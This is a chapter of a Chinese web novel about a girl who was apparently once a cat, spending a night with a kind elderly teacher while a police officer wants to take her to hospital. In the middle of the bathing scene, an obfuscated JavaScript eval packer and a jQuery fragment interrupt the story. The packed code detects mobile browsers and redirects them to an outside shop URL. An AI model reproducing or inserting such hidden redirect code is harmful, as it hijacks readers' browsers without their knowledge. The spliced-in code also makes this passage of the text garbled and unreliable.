“赵老师,人不能放您那,她那情况我看有点不对劲!刚在派出所还冲我龇牙呢,说不定有狂犬病呢,反正我是不同意把人留在您那!半个小时后,我过去把她带走!您放心,我肯定会把她安置好的!”
赵奶奶跟胡晨说,要把钱宝留在家里住一夜。
但她好说歹说,胡晨就是不答应。
兵来将挡水来土掩,赵奶奶反问:“怎么安置?人家一个小姑娘,这大晚上的,你要把她送哪儿去啊?再说了,这大热天的她也该洗澡了,在我这我还能照顾点,你能吗?”
“我——我可以找人帮她!”胡晨回答的有点磕巴。
“我觉得你会把她吓跑。”赵奶奶语气强势:“这事就这么说定了,让她在我这住一夜,明天早上我把人给你送过去。”
“不行!赵老师,我们有规定,她这种情况不能放在您那边!赵老师你放心,我保证会妥善安置她的!”
赵老师把手里的筷子撂下,语气不悦的问:“你先说你怎么安置她?”
电话那头的胡晨安静了几秒,用一种很严肃的口气说:“赵老师,您应该也看出来了,她精神方面有点问题,她这情况要送医院去,让医生帮她诊断一下,确定她这种情况需不需要住院治疗。如果需要的话就住院,不需要的话再说。”
“这么说你是要把她送医院去?这大晚上的你要把她……”
“现在不是时间的问题,而是流程就是这个流程!赵老师,咱得按流程办事啊!”胡晨语气明显有些着急。
像是察觉到自己语气不好,胡晨稍稍调整口气,苦口婆心的说:“赵老师,我知道您是一番好意,但是这件事真不行。我就算是为您的安全着想,也不会让您把她留在家里的。”
赵奶奶安静了半分钟。
锅里的面也差不多煮好了。
她拿起筷子搅了搅锅里的面,关了火,犹豫再三才说:“一个小时后,你再过来接她。至少也要让她在我这吃顿饭、洗个澡,你别跟我说这也不行。”
这大热天的,洗个澡合情合理。
何况钱宝还是个女孩,洗澡这事胡晨帮不上忙,真要是找别人帮忙恐怕也不太方便。
思来想去只好双方各退一步,胡晨爽快答应:“行,那我九点再去。您跟她相处的时候小心点,察觉不对劲就立马给我打电话,可千万别瞒着我啊!”
“嗯,我知道。”
*
客厅里,豆豆的目光始终盯着厨房看,小声说:【胡晨好像要来接你,大概在一个小时后。】
闻到钱宝身上有派出所的味道,豆豆说:【胡晨就是派出所的那位,奶奶应该带你去见过他。】
钱宝顿时想起差点被扎针的事,后怕的打了个激灵,蹲在地上身体缩成一团,双臂抱膝,向豆豆投去求助的目光:“我不想去,我想找我妈妈。”
可这事豆豆也无能为力:【这事我也帮不了你。】
钱宝满眼无助,圆圆的瞳仁中泛起一层薄薄的泪花。
恰在此时,厨房里传来一声喊——
“钱宝,吃饭啦。”
听见这句话的一刹那,她瞬间从难过与害怕中抽离出来,“噌”的一下站起来,顺着香味就去了厨房。
豆豆:【……】
变脸真快!
厨房里,赵奶奶笑呵呵道:“今天太晚了,没时间做别的。只煮了两碗面,炒盘肉、炒盘青菜。要是时间够,我还能给你更多好吃的。”
她端着两碗面出来,眼见钱宝也要端饭,她赶忙说:“你别端,我来我来,你过来这边坐着。”
“哦!”钱宝乖乖跟上她,被赵奶奶安排先在餐桌前坐下。
等赵奶奶再次去厨房,又折返出来时,就见钱宝盯着那碗面看,明明已经饿的在咽口水了,但还是没动筷子,乖乖的坐在椅子上,像个玩偶似的。
赵奶奶把端出来的肉和青菜放在餐桌上,笑道:“先洗手,洗手再吃。”
牵起钱宝的手,又带她去洗手。
进了洗手间,打开水龙头,赵奶奶见她不动,就拉过她的手伸到水龙头底下,耐心的帮她打肥皂,洗干净每根手指,又轻声细语的跟她说:“钱宝,等会儿会有个大哥哥来带你离开,他需要带你去另一个地方,奶奶也会陪你去一趟。等你那边安顿好了,我再回来。你不用怕,那个大哥哥不会伤害你的。”
没听见钱宝接话,赵奶奶扭头看她。
只见她正拧着身子在看桌子上的面和菜。
那眼神像是恨不能立刻就去吃。
这小馋猫,心思全在吃上了!
把她手上的泡沫冲洗干净,又抽了纸巾帮她擦干以后,赵奶奶说:“走,去吃饭。”
一听能吃饭了,钱宝顿时喜笑颜开。
但坐下后却犯了难,一碗面,碗上面摆了一双筷子——这该怎么吃呢?
她抬眼看坐在对面的赵奶奶。
只见赵奶奶拿起筷子,筷子方头朝上,圆头朝下,轻而易举的把面挑起来,送进嘴里。
原来如此!
她有样学样,拿起筷子,夹面送进嘴里。面条劲道,带着番茄中淡淡的酸味,钱宝眼前一亮——这比猫粮好吃太多了!
见赵奶奶夹起碗里的煎蛋吃,她也模仿赵奶奶,夹起煎蛋吃。
豆豆的嘴筒子都伸出来了,嘴里的口水跟打开了水龙头似的,分泌过盛,湿漉漉的鼻头一动一动的,闻着饭菜的香味,馋着要命:【好吃吗?】
“嗯,好吃!”
赵奶奶还以为钱宝是在跟她说话,笑着满眼慈爱,“要是不够吃,等会儿我再给你煮点。”
把桌子上的菜往她面前推推,“别只吃面,吃点菜。”
钱宝夹起炒生菜送进嘴里,激动道:“这个好吃!”
又尝了赵奶奶做的芹菜炒牛肉,激动地连说话都有点结巴:“这个、这个好好吃!最好吃!比我妈妈做的还好吃!”
“你妈妈给你做过这道菜?”赵奶奶捕捉到一个关键信息。
既然能记得这些小细节,或许她还记得别的一些事,说不准那些细节能帮她找到家人。
钱宝点头:“嗯!她会给我做牛肉,没有味道的。”
没味道?难不成是什么减肥餐?
赵奶奶看看面前并不算胖的钱宝,有点心疼,这么瘦吃什么减肥餐啊?
她接着问:“你记不记得你妈妈长什么样子?”
钱宝停下了吃面的动作,认真想了想,一本正经的回答:“妈妈眼睛很漂亮,还有……还有长头发,身上香香的。”
回答了,但和没回答一样。
“算了,还是吃饭吧。”
赵奶奶留意着墙上的钟表,时间够用,“吃过饭以后洗个澡,你要是没办法自己洗,我可以帮你洗。”
“洗澡?”钱宝转头看向了豆豆。
豆豆眼神躲闪:【别看我,这事我救不了你!洗澡这事我自己都逃不掉呢!】
“是啊,洗的干干净净的,再换身衣裳。”赵奶奶笑道。
连豆豆都躲不掉的事,钱宝只能妥协答应,重重点头:“嗯,好!”
真乖啊。
这么乖的孩子,要是脑子没问题,该多好。
赵奶奶望向钱宝的眼神里,满是惋惜。
*
饭后,赵奶奶去洗碗,钱宝站在厨房门口看,把每个动作都记在心里。
等赵奶奶忙完,就带着她去洗澡。
洗手间内,钱宝听话的脱了衣裳,但迟迟不敢站到花洒下面,双脚都恨不能要立起来,生怕沾到一点点水。
可等赵奶奶把水温调好,冲她伸手的那一刻,钱宝即便不想洗澡、不想沾水,但还是乖乖伸出手,不情不愿的去了花洒底下,被迫洗澡洗头。
赵奶奶一边帮她洗澡一边叮嘱她:“我现在也不知道你会不会在医院那边住下,如果要住下,记得不要让男人接近你。洗澡的时候把门反锁……你会反锁吗?”
停下帮她洗澡的动作,赵奶奶去洗手间的门口,用自己家的门示范什么叫反锁。
“像这样转动底下反锁的开关,就能反锁了。学会了吗?”
钱宝点头:“学会了。”
看着这么乖的钱宝,赵奶奶心里却更不是滋味,胸口里像是被什么塞满了。
担忧、不安、心疼,甚至替她害怕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692819|207938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她慢慢挪动脚步回到钱宝身边,又继续帮她洗澡。
钱宝盯着她,过了会儿,有点闷闷的问:“你不开心吗?”
赵奶奶抬眼,挤出一个苦涩的笑,“你还挺会观察别人情绪的,那你说说我为什么不开心?”
钱宝摇头:“不知道。”
但她还是学着以前的样子低下头——以前妈妈难过的时候,她总会这样低下头,让妈妈摸摸自己的头。
这样妈妈的心情就会好很多。
但现在她头上已经没有柔软又好看的猫毛了,只有乌黑的头发。
这种情况下被摸头,不知道有没有用……
钱宝没有答案,只是安静的等着被摸头。
赵奶奶恰好抬手帮她洗头发,一边帮她揉搓头发,一边耐心教她:“洗头发的时候要先把头发淋湿,再摸上洗发水,慢慢揉搓,冲洗干净,然后再上一遍洗发水……对了!洗头发的时候一定要记得闭上眼睛,不能让这些泡沫进眼睛里!”
她耐心又温柔,像“妈妈”一样,一点点的教钱宝。
钱宝一遍遍的说“好”、“哦”。
洗澡结束后,钱宝被她用浴巾擦干,赵奶奶又去找了自己孙女的睡衣给她穿上。尽管时间够用,但赵奶奶还是一点都不敢耽搁,从洗手间出来后,忙去拿来吹风机,帮她吹头发。
“呼——!!”
熟悉的声音响起,才刚被摁在凳子上的钱宝差点蹦起来,一脸惊恐的看着赵奶奶手里的那个黑咕隆咚且发出呼呼声的东西。
赵奶奶看出她被吓到了,赶忙解释:“这是吹风机,能让头发更快吹干的。快坐下,我帮你吹头发。”
吹风机里的热风还在不停地往外吹着。
呼呼的风声吹的钱宝还是有些怕,但赵奶奶牵着她的手,她还是慢慢坐下了。
赵奶奶帮她吹着头发,呼呼的风声盖住了屋子里的其他声响。
钱宝看着电视里播放的动画片,昏昏欲睡。等赵奶奶帮她把头发吹干,呼呼的风声戛然而止,她又顿时清醒过来。
“我去洗澡,你先去沙发上坐着。要是有人敲门,别开,等我出来再开。”
“好。”
赵奶奶把吹风机收好,又进了洗手间洗澡。
钱宝去沙发上坐下,靠在柔软的靠背上,眼皮不受控的缓缓闭上,身子一歪,倒在沙发上,睡着了。
*
半个小时后。
胡晨站在赵奶奶家的客厅,看着蜷缩在沙发上睡着的钱宝,又看看身旁的赵奶奶。怕吵醒睡着的钱宝,他小声质问:“赵老师,人怎么睡着了?”
“困了当然就睡着了!你困你也能睡着!”赵奶奶说的理直气壮。
不得不承认,这话很有道理!
但胡晨有点怀疑她这话的可信度:“您不会是故意劝她睡觉的吧?”
“你有证据吗?”
“我——”
“没证据就是污蔑!”
“……”
赵奶奶趁机劝胡晨:“都已经这样了,就让她在这睡吧,明天一早你再来接她。”
事已至此,胡晨也只好勉为其难答应,但临走的时候还是再三叮嘱:“让她在您这住一夜可以,但是您一定要小心!有什么事立刻打电话给我,不准隐瞒!”
钱宝留在家里住一夜,赵奶奶心里高兴,这会儿甭管什么事她都答应的痛快:“行行行,我知道了。”
说完就赶忙去开门,下逐客令。
“明儿见。”
胡晨一脸的不情愿,慢吞吞的朝门口走去。跨出门的刹那,回头正要再叮嘱一句,没想到赵奶奶抢先说:“对了,明天早上别来太早,我早上喜欢睡懒觉,起不来,你别打扰我睡觉。”
“您——”
他刚说了一个字,赵奶奶就直接把门关上。
胡晨:“……”
站在门外,盯着紧闭的门看了好一会儿,才嘟嘟囔囔的下楼:“早知道就不该晚来一个小时,真是不该听赵老师的话。”
一想到派出所的那一幕,胡晨脚下顿住,仰头往楼上看。
他暗暗祈祷:但愿今夜别出什么事。